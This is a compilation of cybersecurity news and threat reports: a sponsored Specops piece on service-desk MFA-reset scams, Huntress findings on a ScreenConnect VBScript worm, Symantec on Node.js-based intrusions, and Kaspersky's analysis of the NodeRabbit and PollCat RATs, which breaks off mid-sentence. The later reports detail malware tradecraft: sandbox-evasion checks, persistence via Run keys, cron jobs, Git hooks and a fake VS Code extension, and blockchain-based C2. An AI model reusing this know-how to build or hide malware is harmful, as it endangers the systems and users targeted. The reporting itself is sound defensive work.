symantec

For years, security teams have been making account takeover harder. Multi-factor authentication (MFA) added crucial protection to password-only authentication, while conditional access and device trust add further checks before users can reach sensitive systems. However, these controls give attackers a reason to look for another route. Some attacks that are becoming increasingly common target the processes around authentication mechanisms, in particular account recovery. After all, why steal a user’s second factor if you can convince someone with the rights to manage it to replace it for you? That makes the service desk more than a support function. It makes it part of the organization’s identity security boundary. MFA Has Raised the Cost of Account Takeover Even if an attacker captures a user’s credentials, MFA means a second authentication factor still stands between them and the account. Further strengthening that barrier is the fact that many organizations are moving away from weaker factors such as SMS and toward authenticator apps, FIDO security keys and passkeys. Phishing-resistant authentication can make credential theft considerably harder to turn into account access, while conditional access and device trust add further checks based on factors such as the device, location and context of a login. None of this means that MFA has failed. In many cases, the opposite is true: MFA works well enough that attackers have an incentive to find ways around it rather than attack it head-on. That can mean stealing session tokens, abusing existing authenticated sessions or targeting authentication processes that sit outside the normal login flow. And one of the most important processes is account recovery. Every strong authentication system still needs an answer to a routine problem: what happens when a legitimate employee loses access to it? At that point, the security of the account may depend less on the MFA technology protecting it and more on the process used to reset it. Verizon’s Data Breach Investigation Report found stolen credentials are involved in 44.7% of breaches. Effortlessly secure Active Directory with compliant password policies, blocking 4+ billion compromised passwords, boosting security, and slashing support hassles! When the Recovery Path Becomes the Attack Path Employees replace phones, lose security keys, change numbers, damage devices, and forget credentials. Sometimes an authenticator simply becomes unavailable. When self-service recovery is no longer possible, the service desk typically becomes the route back into the account. Depending on the organization and the user’s privileges, an agent may be able to reset a password or MFA, remove an existing authentication method, issue temporary credentials, approve registration of a new authenticator, or otherwise restore access. While these are necessary support functions, from a security perspective, they are also sensitive identity-management actions. That makes the verification step before the reset critical. If a user normally must satisfy multiple authentication factors to access an account but only has to answer a handful of questions to replace those factors, the recovery process can become the weaker path to the same identity. This is increasingly being treated as an identity assurance problem rather than a conventional help desk problem. Microsoft, for example, now describes account recovery in Entra ID as a “high-assurance” process and contrasts traditional question-based help desk recovery with stronger identity verification designed to re-establish trust before access is restored. The principle is simple: the process used to replace an authentication method should provide confidence that the person requesting the change is the person who owns the account. If it doesn’t, the recovery path can quickly become the attack path. Recent Attacks Highlight the Risk The tactics employed by hacking collective Scattered Spider are a clear example of the challenge service desks face. A joint advisory from CISA, the FBI and international partners say the group has posed as employees to persuade IT and help desk staff to reset passwords and transfer MFA to attacker-controlled devices. The same advisory notes that attackers may spend several calls learning about an organization’s password-reset process before attempting the takeover. The 2025 attack on Marks & Spencer shows how damaging sophisticated impersonation can be. Scattered Spider impersonated an employee to trick a third-party contractor into resetting their password to gain access. From there, the group compromised more accounts and eventually deployed ransomware across the retailer’s network. M&S chairman Archie Norman told Parliament that the incident was expected to reduce profit by around £300 million before recoveries, underlining how a successful identity-focused social engineering attack can become a major business incident. Make Identity Verification Part of the Service Desk Workflow Closing this gap means moving the service desk away from questions such as “Does this person sound legitimate?” or “Can they answer our verification questions?” and toward a stronger one: Can this person securely prove they are the employee associated with the account? That is where Specops Secure Service Desk fits. It makes identity verification a required part of sensitive service desk workflows, helping reduce reliance on easily guessed or phished information and judgement that a social engineer may be able to manipulate. Specops Secure Service Desk can use existing identity data in Active Directory or Entra ID and integrate with authentication services such as Duo, Okta, PingID and Symantec VIP. With support for more than 15 MFA factors, service desks can verify different types of users without introducing a separate enrollment process. Crucially, verification sits directly in front of high-risk actions. Agents can reset passwords, unlock accounts and require a password change at the next logon only after the caller has been successfully verified. Verification events can also be exported to SIEM and analytics platforms to support audit and SOC workflows. Secure Your Service Desk with Specops Strong authentication only works if the process used to reset or recover it is just as secure. Treating service desk verification as part of the identity security process helps reduce the risk of social engineering without making legitimate support harder. Specops helps organizations put stronger identity verification in front of high-risk service desk actions such as password resets and account unlocks. Contact Specops today to see how you can strengthen identity verification and secure your service desk Sponsored and written by Specops Software.

Cybersecurity researchers have disclosed details of worm-like activity that abuses ConnectWise ScreenConnect to distribute a malicious Visual Basic Script (VBScript) payload to newly connected systems. According to Huntress, three unrelated incidents have been found to use diverse initial access methods, namely a Quick Assist tech-support scam, a phishing-delivered MSI installer, and a fake Geek Squad refund form lure, to activate a four-stage VBScript chain that leads to rogue ScreenConnect installations. However, once the ScreenConnect instances were installed, the cybersecurity company said it observed the clients repeatedly spawning "wscript.exe" to execute VBScripts named 1.vbs, 2.vbs, 3.vbs, and 4.vbs. The incidents were observed in August 2026. The details of the three attacks are below - A social engineering attack that persuaded a user into executing Quick Assist as part of a tech support scam, after which a rogue ScreenConnect remote access client was deployed to contact a command-and-control (C2) server located at "45.13.237[.]190" ("tele-sync.opik[.]net"). Hosted on the IP address is a RAR archive containing the four VBS files. An MSI installer ("ScreenConnect.ClientSetup.msi") likely delivered via a phishing attack that deployed a ScreenConnect client configured to communicate with "131.123.40[.]98" on port 8041. The rogue ScreenConnect almost immediately launched the four VBScript files from the ScreenConnect temporary directory. A search for a Geek Squad refund form led to the deployment of a rogue ScreenConnect client ("ScreenConnect.Client.exe"), which then connected to "borertors92.anondns[.]net." The session then uses "wscript.exe" to execute the four VBS scripts from the Temp folder. Across these incidents, the attack sequence is said to have followed a four-step process, with each VBScript launching the next and allowing it to progress further - 1.vbs, which profiles the host, checks system resources (e.g., if RAM is over 5 GB), verifies if ScreenConnect is installed, enumerates security products, including Cisco AMP, CrowdStrike, Huntress, Malwarebytes, SentinelOne, Sophos, and Symantec Endpoint Protection, and writes the results of these checks to "%TEMP%\value.txt" in the form a three-bit state variable. For example, the state value "000" indicates no existing ScreenConnect installation, the presence of third-party security processes, and no ScreenConnect clients are installed within the Program Files folder. 2.vbs, which waits for the "%TEMP%\value.txt" file and checks for the presence of the word "abort." If the word does not exist, it downloads a file from Dropbox, decodes its contents, and writes them to "%TEMP%\map.txt." While the text file contents are not executed, the exact nature of the payload retrieved is unclear, as the Dropbox URL is no longer online as of September 2, 2026. 3.vbs, which works similarly to 2.vbs by waiting for "%TEMP%\map.txt" and then proceeds to download the relevant file from the Dropbox link specified in the text file based on the state values set by 1.vbs in "%TEMP%\value.txt" and writes it to "%TEMP%\out.enc." 4.vbs, which waits for the presence of the downloaded "%TEMP%\out.enc" payload and launches a PowerShell script ("%TEMP%\runner.ps1") to decrypt the contents of "%TEMP%\out.enc," write them to "%APPDATA%\Microsoft\Windows\Templates\Classic\sys_cache.zip," and execute a second-stage PowerShell script ("PyTorchFix.ps1"). At least three different payloads have been detected based on the state value - 000 and 001 lead to a user-level ScreenConnect backdoor 010 leads to tooling for privilege escalation via a User Account Control (UAC) bypass and persistence 011 leads to tunneling utilities and a cryptocurrency miner In addition, "%TEMP%\runner.ps1" takes steps to terminate every "wscript.exe" or "cscript.exe" process, and deletes the staging directory after the final stage is run. The 4.vbs script also writes the four VBScript files to "C:\Users\Public\Libraries\Default\Lib\Lib1" if the value in "%TEMP%\value.txt" is set to 010 or 011. This, in turn, triggers a round of payload deliveries, effectively turning the compromised host into a content-delivery mechanism for the malicious scripts every time the backdoored client observes a new Host connection. "This creates a worm-like behavior: propagating infections over new ScreenConnect connections. Connecting to an infected ScreenConnect client can cause the server-side Host system to receive and execute the same four-stage VBScript chain," Huntress said. "Later, the client records each ConnectionID to avoid repeatedly targeting the same active session, but then removes that identifier after it disconnects – allowing a later reconnection to trigger the infection again." "The incidents share additional indicators, including a WindowsServiceHost User Run Key pointing to WindowsServiceHost.vbs in the user's AppData directory," Huntress said, adding it observed other remote monitoring and management (RMM) tools, including UltraViewer, on some impacted hosts. On the other hand, the state value branch "011," which translates to: (1) no existing installation of ScreenConnect on the system, (2) Microsoft Defender is the only the endpoint protection program installed on the machine, and (3) no ScreenConnect clients are present, includes payloads to disable Microsoft Defender reporting, turn off Windows memory integrity, and runs an XMRig cryptocurrency miner. "Considering the extent and complexity of these attack chains, the Huntress SOC made strong recommendations that these affected hosts be re-imaged from known-good media, or a clean operating system install," Huntress said. In response to the findings, ConnectWise has issued an advisory, stating it has identified an issue affecting file transfer behavior in ScreenConnect Remote Access Support and Access sessions. The issue, it added, impacts both Cloud and On-Premise deployments. Until a fix is in place, customers are recommended to mitigate the risk by disabling the ability for technicians to transfer files - Log into the Administration page of ScreenConnect instance or installation. Navigate to the Administration > Security > Roles section. Edit a role that is assigned to users. Review each session group that has permissions assigned to it. For each session group, in the Scoped Permissions window, check if the TransferFiles permission (or TransferFIlesInSession for legacy versions) is selected. If it is, deselect it. Save changes to the role. Repeat for each role that's defined in the instance or installation.

Threat actors are leveraging the trusted Node.js JavaScript runtime in multiple cyber attacks as a way to deploy malicious payloads. According to a new report published by the Symantec Threat Hunter Team today, the attack method has been put to use in attacks targeting government departments, technology companies, and hotels since February 2026. "The technique's appeal is that node.exe (the binary that runs Node.js) is a legitimate, signed developer tool," the Broadcom-owned cybersecurity division said in a report shared with The Hacker News. "The attacker's malicious code lives in interpreted scripts rather than in a binary, making it less likely to trigger signature-based detection, while a registry Run key entry can relaunch the payload at every login." In one intrusion observed between March 23 and July 25, 2026, targeting an unspecified Asian technology company, attackers downloaded the official Node.js installer from nodejs[.]org and used the trusted, signed runtime to deploy a malicious implant to establish long-term access and retrieve commands or tooling using a technique called EtherHiding. The threat actors are said to have shifted to this approach after their repeated attempts to deploy AdaptixC2 and Cobalt Strike beacons on the victim's network were blocked after obtaining initial access through the ClickFix social engineering technique. Interestingly, the technique has also been employed alongside ModeloRAT and Mistic (aka MLTBackdoor), both of which are assessed to be the work of an initial access broker named KongTuke (aka Woodgnat). In June 2026, Symantec disclosed that Woodgnat attack chains are characterized by the abuse of "node.exe" to execute attacker JavaScript and chain PowerShell and Windows command-line tools, as well as a malicious Chrome extension named NexShield as part of a ClickFix variant dubbed CrashFix. Another tool put to use in these attacks is a .NET payload known as GateKeeper that features layered encryption and victim-fingerprinting logic. The same modus operandi has been observed against a U.S. fintech organization, with the attack paving the way for the deployment of C2Looper, a Rust-based backdoor documented by Zscaler ThreatLabz last month. The earliest observed activity occurred on May 6, 2026, when the attackers exploited the foothold gained via ClickFix to deploy an AdaptixC2 agent and a Cobalt Strike Beacon. It's worth noting that the installation of C2Looper took place more than two months after the initial events, although there is no evidence that the threat actors engaged in credential theft, lateral movement, or destructive operations. It's also unclear if they achieved their end goals beyond establishing the foothold using the backdoor. "While the use of node.js and connection to the Ethereum blockchain wasn't observed in that incident, shared domains and similarities in the attack chain point to the same attackers being behind the activity," Symantec said. "It's likely we didn't see Node.js activity on this organization because the attackers were able to successfully deploy a backdoor." The cybersecurity company said multiple threat actors are exploiting Node.js in attacks. Some of the tools used in these intrusions include a Node.js version of an information stealer named AsukaStealer, EtherRAT, and other legitimate Microsoft and command-line utilities. "Attackers using Node.js appear happy to use a combination of both living-off-the-land and dual-use tools in their attacks, as well as commodity malware, and new tools such as Backdoor.Mistic, C2Looper, and the new version of AsukaStealer," Symantec concluded. "This indicates that attackers with a variety of skill levels may be using Node.js as it has returned to popularity." The disclosure comes as GuidePoint Security said attackers have compromised at least 31 organizations, including e-commerce, professional services, and retail logistics businesses, through a ClickFix campaign that serves fake CAPTCHA verification prompts to visitors arriving at the compromised sites and deploys a persistent backdoor that abuses EtherHiding to locate its command-and-control (C2) infrastructure and receive commands. The campaign is two-pronged in that it yields two different victim types: the legitimate business whose website is injected to display the ClickFix lure and unsuspecting users who land on those sites. "Traditionally, ClickFix malware can be neutralized by blocking the attacker's C2 server, cutting off communications with infected machines," GuidePoint Security researcher Jean-Pierre Mouton said. "This campaign sidesteps that defense by using the Polygon cryptocurrency blockchain as a dynamically updatable address book." "Because it allows for ad hoc adjustment of C2 details at scale, blocking a singular domain or IP address alone does not permanently sever attacker access. For fractions of a cent per transaction, the attacker can redirect every infected machine to a new C2 server automatically." Over the past two years, ClickFix and its numerous variants have taken off in a big way as they aim to trick users into performing undesirable actions under the pretext of fixing an error or proving they are not bots by copying a command presented in the lure and pasting it onto the Windows Run dialog or the Windows Terminal app, effectively compromising their own systems in the process. To combat the threat and others like it, organizations are recommended to audit public-facing websites continuously for suspicious changes or malicious scripts, restrict unapproved browser extensions, and introduce security awareness training to help employees recognize ClickFix-style social engineering tactics.

The Iranian Nimbus Manticore hacking group has been attributed to two previously undocumented malware families that highlight the continued evolution of its toolset and likely expand its targeting footprint to infect Linux and Apple macOS systems using cross-platform remote access trojans (RATs) developed using Node.js and JavaScript. Russian cybersecurity company Kaspersky is tracking the malware strains under the names NodeRabbit and PollCat. The first sample of NodeRabbit was discovered on a system in Afghanistan, with subsequent sightings on two distinct machines located in Egypt and Ethiopia. "Its operators deliver [NodeRabbit] through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives," Kaspersky security researcher Omar Amin said. "Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives." While Nimbus Manticore has historically employed malware written in C, C++, and Go, and relied on DLL search-order hijacking techniques to deploy them, the latest findings mark the threat actor's foray into cross-platform tools to accomplish its goals. The development also comes amid a rapid expansion of the hacking group's malware arsenal in recent months, including - A Windows backdoor called NightLedger Two custom WebSocket tunnelers, BridgeHead and ArcBridge A reverse SSH tunneling tool A backdoor that shares overlaps with TWOSTROKE The starting point of the suspicious activity observed in the Afghanistan-based system starts with a ZIP file ("Front-Technical-Challenge.zip") hosted on AWS that's assessed to have been delivered as part of a job opportunity for an engineering role. The threat actor is said to have masqueraded as a talent acquisition specialist at a major technology company to approach a software engineer and invited them to complete a technical assignment. It's worth noting that Nimbus Manticore is also tracked under the moniker Iranian Dream Job for its use of recruitment-themed lures to trick prospective targets into infecting their own computers, a tactic long adopted by the North Korea-linked Lazarus Group. The archive contains source code for a project management tool called Taskflow and instructs candidates to "find and fix all bugs in the frontend code" as part of an "engineering challenge" within three hours and without relying on artificial intelligence (AI)-assisted tools. The instructions specifically ask the candidates to refrain from modifying the server component of the application ("server.js"), claiming it's "bug-free and functions correctly." However, it's in this file that the malicious code is embedded. "The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0," Kaspersky said. "The attackers bundled the package directly in the challenge task archive's node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process." The implant in question is NodeRabbit, which communicates with one of three Azure-hosted command-and-control (C2) addresses ("plugplay.azurewebsites[.]net," "rgbteller.azurewebsites[.]net," and "wslwebui.azurewebsites[.]net") through three distinct API endpoints - /api/rabbit/checkin, to register agent and host information /api/rabbit/task, to poll for commands /api/rabbit/result, to send task results The malware supports 11 commands that allows it to gather host details, list running processes, execute arbitrary shell commands, enumerate directories, read a file in chunks and return Base64-encoded data, decode Base64-encoded text and write it at a chosen file offset, delete a file or recursively delete a directory, create directories recursively, enumerate adapters, MAC addresses, IP addresses, and DNS settings, and alter beacon interval. Another notable capability of NodeRabbit is to write a Base64-encoded Node.js script to a randomly named ".tmp" file, execute it, and then delete it to cover up traces of malicious activity. Kaspersky said it identified two more variants of NodeRabbit that share the same code lineage, each recovered from Egypt and Ethiopia - A second variant that uses a different trojanized npm package named pretty-log (version 2.1.0) instead of colorized_terminal, while also partially implementing corporate proxy support and terminating if found to be running in an analysis environment A third variant that's also launched using the pretty-log npm package but uses a different set of API endpoints to accomplish the same tasks - - /sdk/v2/ready - /sdk/v2/config - /sdk/v2/events Persistence is achieved depending on the operating system: a Windows Run registry key on Windows, a cron entry for Linux, and a launch agent on macOS. The persistence mechanism mimics either a Microsoft Edge browser update (first variant) or Intel's Driver & Support Assistant (second variant). The third variant, on the other hand, does not impersonate any legitimate software, but also takes into account the Windows Subsystem for Linux (WSL) to create a daily 10 a.m. Windows task that launches a Visual Basic Script file through "wscript.exe" and "wsl.exe." In addition, it features 12 new commands to - Enumerate accessible Windows drive letters or WSL-mounted drives Execute a process Kill process by PID or image name Replace the active C2 server and attempt to keep the new configuration Return the current C2 server Harvest account addresses from Outlook OST and PST artifacts Attempt to install a fake VS Code extension named "GitHub Copilot Helper" and Windows Run value for added persistence Check selected VS Code, scheduled-task, and Run-key persistence indicators Remove the fake extension Search recent and common development locations for Git repositories Inject a launcher into a repository's Git hooks for added persistence Remove the marked Git-hook launcher Nimbus Manticore has also been observed using programming challenge lures ("RankChallenge-react-6uJSX3-main.zip") distributed via time-limited developer assessments to deliver PollCat. "Although the visible exercise is not a security CTF, the project uses CTF terminology in several places," Kaspersky said. "The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf." "These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components." A PDF tutorial present within the archive prompts the target to click "Continue" and enter an attacker-supplied six-digit one-time password (OTP) that's refreshed every 30 seconds, and complete the challenge within a one-hour session. The compressed timeline to activate the assessment is likely an attempt to create a false sense of urgency and make them run the project as soon as possible to increase the likelihood of an infection. Despite the one-hour session window, PollCat runs independently of the OTP authentication process, unaffected by the success or failure of the OTP validation step. A failed validation prevents the victim from accessing the protected challenge features, while a successful OTP validation issues a JWT and starts an additional PollCat instance. For persistence, the malware creates a daily scheduled task on Windows, Linux, or macOS, and then connects to a C2 server to send basic host information and await further instructions. It supports 22 commands and communicates via seven API endpoints - /beacon, to register the client and obtain a socketId /gate/hello, to send host, user, domain, operating system information, and its current privilege level /gate/fetch?token= , to poll for commands /gate/submit, to submit a Base64-encoded command-result structure /vault/ , to fetch a hosted file and write it to the victim machine /vault/push, to upload a local file or file chunk to the C2 /gate/track, to report chunk-upload progress The commands span the typical backdoor gamut, enabling the operator to perform file operations, execute shell commands, upload/download files, run JavaScript, load DLLs, create or extract a ZIP archive, and enumerate running processes, drives, volumes, or mount points. Three commands, namely WS_DOWNLOAD, REQUEST_ELEVATION, and PERSIST, are currently not implemented. PollCat also searches for folders matching 24 hard-coded strings corresponding to software and security vendors, including Google, Microsoft, Palo Alto Networks, Cisco, VMware, Fortinet, Citrix, Check Point, Juniper Networks, LogMeIn, Sophos, Symantec, Trend Micro, McAfee, Kaspersky Lab, ESET, Bitdefender, Avast, CrowdStrike, SentinelOne, Malwarebytes, Brave, Tencent, and Naver. When a matching folder is found, the malware inventories the folder's root contents but does not recursively scan the product's directory. The results are then transmitted in the form of JSON to the "/api/system-details/result" endpoint. The activity's links to Nimbus Manticore stem from the structural, command fetching, beacon timing, and command set similarities between PollCat and MiniFast (aka MiniUpdate or Retrograde), a backdoor previously attributed to the group, as well as the use of Azure Websites and Cloudflare‑backed domains for C2. "The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations," Kaspersky said. "The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyber espionage purposes."

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia. NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives. During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives. Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group. Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.* Background During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role. The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5 ), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered. README file for a trojanized coding challenge app The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized. Rules and time limit included in the trojanized coding challenge app README file The first line of server.js imported a trojanized npm package named colorized_terminal , version 2.1.0 . The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process. Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log , both pinned to version 2.1.0 . The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research. Initial access The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment. The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure. NodeRabbit RAT: the first variant We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package. Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters. NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently. NodeRabbit uses a persistence mechanism for each operating system: Operating system Persistence mechanism Windows Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js Linux Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable. macOS Copies itself to ~/.config/microsoft-edge-update , creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it. The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address: 1. https://plugplay.azurewebsites[.]net 2. https://Rgbteller.azurewebsites[.]net 3. https://Wslwebui.azurewebsites[.]net Method Endpoint Purpose POST /api/rabbit/checkin Register agent and host info POST /api/rabbit/task Poll for commands POST /api/rabbit/result Submit results NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag: The malware sends encrypted requests using the following structure: { "d": "base64(IV || ciphertext || authentication_tag)", "_r": "8 hexadecimal characters", "_t": "epoch timestamp" } C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands: Command Functionality sys:info Return hostname, domain user information, username, and process ID. proc:list List running processes. proc:start Execute an arbitrary shell command. fs:list List a directory. fs:read Read a file in chunks and return Base64 data. fs:write Decode Base64 and write it at a chosen file offset. fs:delete Delete a file or recursively delete a directory. fs:mkdir Create directories recursively. net:config Enumerate adapters, MAC addresses, IP addresses, and DNS settings. agent:sleep Change the beacon interval. script:exec Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it. NodeRabbit RAT: the second variant Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal . Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system. Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com , and www.cloudflare.com , then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting. Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT . It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user . It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin. To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000) . The resulting listener port falls between 41984 and 46983 . Unlike the shared port used by Variant 1, this port varies depending on the infected host. For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system. Operating system Persistence mechanism Windows Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js . It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate , which runs daily at 10AM and executes IntelDSA.exe with the dropped script. Linux Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry. macOS Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled. NodeRabbit RAT: the third variant Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms. The third variant communicates with its C2 infrastructure through a different set of API endpoints: Method Endpoint Purpose POST /sdk/v2/ready Register agent and host info POST /sdk/v2/config Poll for commands POST /sdk/v2/events Submit results We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains. 1. https://visitfinancedentists[.]com 2. https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net 3. https://healthcomfsdpower[.]com For persistence, Variant 3 implements the following mechanisms depending on the operating system in use: Operating system Persistence mechanism Windows Attempts to copy the payload to ProgramData or LocalAppData , create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config . If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings. macOS Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload. Linux Copies the payload to ~/.local/share , attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped. WSL Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe . A new command, agent:servers , replaces the active in-memory C2 server list and can write the updated list to .sv.json . The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23. New commands Functionality fs:drives Enumerate accessible Windows drive letters or WSL-mounted drives proc:exec Execute a process proc:kill Kill process by PID or image name agent:servers Replace the active C2 and attempt to keep the new configuration agent:getchain Return the current C2 outlook:emails Harvest account addresses from Outlook OST and PST artifacts persist:check Check selected VS Code, scheduled-task, and Run-key persistence indicators persist:vscode Attempt to install a fake VS Code extension and Windows Run value persist:vscode:remove Remove the fake extension persist:projects:scan Search recent and common development locations for Git repositories persist:project:inject Inject a launcher into a repository’s Git hooks persist:project:remove Remove the marked Git-hook launcher Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows. 1. Malicious VS Code extension The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper , with the description AI coding assistant helper service and the activation event on StartupFinished . The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb . However, no signature or trusted status is copied. Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing. 2. Git hook injection Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source , it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories. For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist. PollCat RAT While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react , a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js , which starts the local application and attempts to open the challenge in the user’s browser. Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server , the backend prints CTF server running , the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf . These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components. README instructions and challenge overview included in the trojanized React coding project The PDF tutorial contained in the same archive as the project tells the target to click Continue , enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also 